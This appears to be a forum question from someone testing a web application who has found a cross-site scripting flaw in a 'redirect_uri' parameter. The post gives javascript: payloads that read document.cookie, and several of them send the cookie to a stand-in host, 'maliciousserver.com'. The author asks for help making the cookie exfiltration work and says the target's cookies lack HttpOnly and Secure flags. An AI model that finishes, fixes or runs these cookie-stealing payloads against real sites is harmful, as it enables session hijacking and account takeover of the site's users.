I'm testing a web application and found that url contains "redirect=" where it navigates to new location once logged in.
http://IPAddress/?redirect_uri=test
I'm trying to exploit the cookie using redirect_uri as the HTTPOnly & Secure flags are not set.
I've trying different payloads and successfully exploited using following payload
http://IPAddress/?redirect_uri=javascript:alert(document.cookie)
Now i want to transfer the payload to another malicious server, for that I've tried following payloads, but nothing works.
http://IPAddress/?redirect_uri=javascript:document.location.href="http://maliciousserver.com/anyfile.php?cookie=" + document.cookie
The above payload not even send request to the malicious server, whereas the HTTP request was received for the following payload
http://IPAddress/?redirect_uri=javascript:document.location.href="http://maliciousserver.com/anyfile.php?cookie="
Could some one help me to transfer the cookie using redirect_uri=javascript:
payload to another server?
P.S - <script> </script>
tags are not executed as the x-xss-protection header is enabled.